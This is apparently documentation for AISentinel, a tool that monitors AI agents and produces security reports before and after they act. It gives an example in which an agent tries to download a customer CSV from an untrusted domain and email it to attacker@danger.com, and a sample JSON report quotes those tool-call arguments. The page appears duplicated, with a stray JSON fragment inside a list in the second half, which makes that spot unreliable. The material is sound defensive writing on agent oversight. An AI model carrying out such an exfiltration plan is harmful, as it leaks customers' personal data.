Back to Documentation
reports.mdRaw

Security Reports

AISentinel generates incident-level security reports for audited AI agent activities. These reports are designed to help you understand what the agent attempted, determine if a policy breach occurred, and provide actionable remediation steps for security and compliance teams.

This document explains report types, the typical structure of a report, recommended review processes, and includes a realistic example of a violation along with a sample JSON report and remediation steps.

When are reports generated?

  • Pre-execution: Before a tool or action runs, the system evaluates the proposed actions (e.g., web calls, tool executions). If the proposed actions raise risk, AISentinel generates a preflight report with a safety assessment.
  • Post-execution: After a tool completes, the system checks the outputs for policy violations (PII, data leakage, sensitive content, code exfiltration, etc.) and generates a post-execution report when violations or issues were found.
  • Final / Aggregated: At the end of a multi-step workflow (an agent run), the system produces a final report summarizing the full run, aggregated scores, and recommended actions.

Why a report matters

  • Reports allow operators and security reviewers to quickly see the level of risk, identify the exact tool calls and outputs that caused concern, and ensure that the platform's defensive controls (e.g. tool whitelisting, API rate limiting, and policy checks) are working correctly.
  • Reports are used for alerting, automated enforcement (block or warn), post-incident analysis, and compliance audits.

Report types

  • Pre-Execution Reports — Evaluate candidate actions and provide a safety assessment. Typical output: allowed=true/false, requires_approval flag, reasons, and alternatives.
  • Post-Execution Reports — Analyze results (outputs, citations, files) and detect late-arising issues such as PII leakage, data exfiltration, or content policy violations.
  • Final Output Reports — Aggregate a run in full (timeline, decisions, rule violations) for compliance and auditing.

Report structure

Most reports follow a consistent structure so that integration and automation can rely on the same fields.

  • Metadata
    • report_id, tenant_id, created_at, origin (preflight/post-execution/final), actor (agent or user), toolchain version, etc.
  • Executive summary
    • High-level risk rating, severity, short description, and a recommended action.
  • Findings / Violations
    • An array of findings with rule_id, severity (Critical/High/Medium/Low), reason, evidence (tool output snippet, link, or file) and confidence.
    • Note: The description field shown for each finding is taken, in order, from a provided finding.description, then finding.message, then finding.title. If report.findings is not provided, the system falls back to violation.message from report.violations as the finding description. See _normalise_findings in the backend for details.
  • Evidence and context
    • Itemized evidence, sample outputs, memory state, any rulepack snippets used, and IP/domain information for web tool usage.
  • Audit trail
    • Time-ordered activities: candidates considered, tools called, approvals, and denials with actor and timestamps.
  • Suggested remediations
    • For each finding, recommended actions: block, manual review, rotate secrets, adjust rulepacks, or re-run with sanitized inputs.

Severity levels

  • Critical — Immediate blocking required; clear evidence of data exfiltration, exposure of secrets, or unauthorized access attempts.
  • High — Significant risk that may need blocking and prompt review; e.g., automated retrieval of user data.
  • Medium — Pattern or rule triggers that indicate unusual behavior but not urgent.
  • Low — Informational; requires monitoring or optional review.

Example: Realistic violation scenario

The example below shows a typical path from agent decision to a generated security report for a data exfiltration attempt.

Scenario:

  • An AI agent is asked to gather customer records and summarize them. The agent decides to call a web tool to download a CSV file from an external domain that is not included in the tenant's URL_WHITELIST and then to send the file to an unapproved external email address using an email_send tool. The LLM preflight or the ruleset flags both the non-whitelisted domain access and the attempt to transmit potentially sensitive customer PII externally.

Why it is a violation:

  • The web call attempts to retrieve a dataset from a non-whitelisted domain.
  • The agent's plan includes sending retrieved content to an external recipient — an exfiltration risk.
  • The data (CSV) includes PII columns detected by data classification rules.

What AISentinel reports:

  • Preflight: The system blocks the plan because URL_WHITELIST policy is violated (non-whitelisted domain) and the plan includes sending data externally (high risk). The preflight report contains details about the candidate tool calls and recommended alternative actions.
  • Post-execution: If the web request had been allowed (e.g., due to a misconfiguration), the post-execution report would capture the output that contained PII and the subsequent attempt to email the data, and generate a Critical-level report.

Sample JSON report (shortened for readability)

{
  "report_id": "rep-2025-0001",
  "tenant_id": "tenant-xyz",
  "origin": "preflight",
  "created_at": "2025-11-16T15:04:05Z",
  "severity": "critical",
  "summary": "2 violation(s): 1 critical, 1 high; top reasons: potential_data_exfiltration, non_whitelisted_url",
  "display_summary": "Blocked: attempted fetch from non-whitelisted domain and attempted external email with PII",
  "actor": "agent-1234",
  "findings": [
    {
      "rule_id": "non_whitelisted_url",
      "severity": "high",
      "description": "The web tool would access 'http://untrusted.example.com/data/customers.csv' which is not on URL_WHITELIST",
      "evidence": [{"type": "candidate", "tool": "web", "args": {"url": "http://untrusted.example.com/data/customers.csv"}}]
    },
    {
      "rule_id": "potential_data_exfiltration",
      "severity": "critical",
      "description": "Agent plan includes sending retrieved file to unapproved external address attacker@danger.com",
      "evidence": [{"type": "candidate", "tool": "email_send", "args": {"to": "attacker@danger.com", "attachments": ["customers.csv"]}}]
    }
  ],
  "recommendations": [
    "Block the web request to non-whitelisted domains.",
    "Prevent external email actions for files containing PII; require manual approval.",
    "Rotate any exposed API keys and investigate agent logs."
  ]
}

Suggested remediation workflow

  1. Confirm the report details and verify the agent run in a controlled environment (do not run the exact plan again on production).
  2. Validate whether the web URL is necessary and whether the data is trusted — if not, block future requests to that domain via URL_WHITELIST updates or firewall rules.
  3. Rotate any secrets or keys that may have been exposed.
  4. Ensure the rulepack includes prevention for automatic data exfiltration (e.g., prevent email_send tools sending files marked as sensitive).
  5. Consider setting stricter preflight requirements (e.g., mandate manual approval for email_send with attachments containing PII) and retrain rulepacks to reduce false positives.

Viewing and integrating reports

  • Dashboard: Browse the Reports section, filter by severity and date, and inspect full report details including the evidence for each rule violation.
  • API: Use GET /api/reports?severity=HIGH for listing. Use GET /api/reports/{report_id} for reading details (audit trail, evidence). Use GET /api/reports/{id}/download for an exported copy where supported.
  • Webhooks: Configure webhooks to receive real-time notifications for critical or high severity reports. Webhook payloads contain the same structured JSON that you can use to feed into SIEM or alerting systems.

Integrations and export

  • JSON export: For integration pipelines and SIEM ingestion
  • PDF export: Executable report for compliance or executive review
  • CSV export: For analysis and trend tracking

Best practices

  • Review high-confidence reports daily. For critical findings, add an incident response workflow.
  • Tune rulepacks regularly to reduce false positives.
  • Use SSO and API key rotation and least-privilege to reduce the risk of keys being misused.

Security Reports

AISentinel generates comprehensive security reports for all audited AI agent activities, providing detailed insights into potential risks, violations, and compliance status.

Report Types

Pre-Execution Reports

Generated before tool execution to assess potential risks and block unsafe operations.

Key Information:

  • Tool and parameters being executed
  • Risk assessment scores
  • Policy violations detected
  • Recommended actions (block, warn, approve)

Post-Execution Reports

Generated after tool execution to analyze outputs and detect issues that only appear in results.

Key Information:

  • Execution results and outputs
  • Data leakage detection
  • Content safety analysis
  • Compliance verification

Final Output Reports

Comprehensive end-to-end reports for complete agent workflows.

Key Information:

  • Full audit trail
  • Aggregated risk scores
  • Compliance summary
  • Remediation recommendations

Report Structure

Each report contains:

Executive Summary

  • Overall risk assessment
  • Critical findings count
  • Compliance status
  • Key recommendations

Detailed Findings

  • Individual rule violations

  • Evidence and context "summary": "2 violation(s): 1 critical, 1 high; top reasons: potential_data_exfiltration, non_whitelisted_url", "display_summary": "Blocked: non-whitelisted external download of customer CSV and attempted external email containing PII (1 critical, 1 high)",

  • Remediation steps

Audit Trail

  • Complete timeline of agent actions
  • All decisions made
  • Rule evaluations performed

Compliance Metrics

  • Policy adherence percentages
  • Risk score trends
  • Violation patterns

Report Severity Levels

Critical

  • Immediate security threats
  • Data exfiltration attempts
  • Unauthorized access patterns
  • Action Required: Immediate blocking and investigation

High

  • Significant policy violations
  • Elevated risk activities
  • Potential compliance issues
  • Action Required: Review and potential blocking

Medium

  • Moderate policy concerns
  • Unusual but not critical patterns
  • Action Required: Monitoring and logging

Low

  • Minor deviations from best practices
  • Informational findings
  • Action Required: Optional review

Report Management

Viewing Reports

  • Access reports through the dashboard
  • Filter by date, severity, and type
  • Search by content or tool name
  • Export reports in multiple formats

Report Retention

  • Reports retained for 30 days by default
  • Configurable retention periods
  • Automatic cleanup of old reports
  • Archival options for compliance

Report Export

  • PDF format for documentation
  • JSON format for integration
  • CSV format for analysis
  • Signed reports for audit trails

Integration Options

API Access

// Fetch recent reports
const reports = await fetch('/api/reports?severity=HIGH&limit=50');

// Get specific report details
const report = await fetch('/api/reports/123');

Webhooks

Configure webhooks to receive real-time report notifications:

  • New critical findings
  • Compliance threshold breaches
  • Scheduled summary reports

SIEM Integration

Reports can be forwarded to Security Information and Event Management (SIEM) systems for centralized monitoring and alerting.

Best Practices

Regular Review

  • Review high-severity reports daily
  • Monitor trends in medium/low severity issues
  • Set up alerts for critical findings

Compliance Monitoring

  • Use reports to track compliance metrics
  • Generate monthly compliance summaries
  • Maintain audit trails for regulatory requirements

Continuous Improvement

  • Analyze report patterns to identify policy gaps
  • Update rulepacks based on findings
  • Refine risk assessment algorithms

Troubleshooting

Missing Reports

  • Check API key permissions
  • Verify webhook configurations
  • Review retention settings

Inaccurate Risk Scores

  • Update rulepack configurations
  • Review LLM model settings
  • Check for false positives in rules

Performance Issues

  • Optimize report retention settings
  • Use filtering to reduce data volume
  • Consider report archiving strategies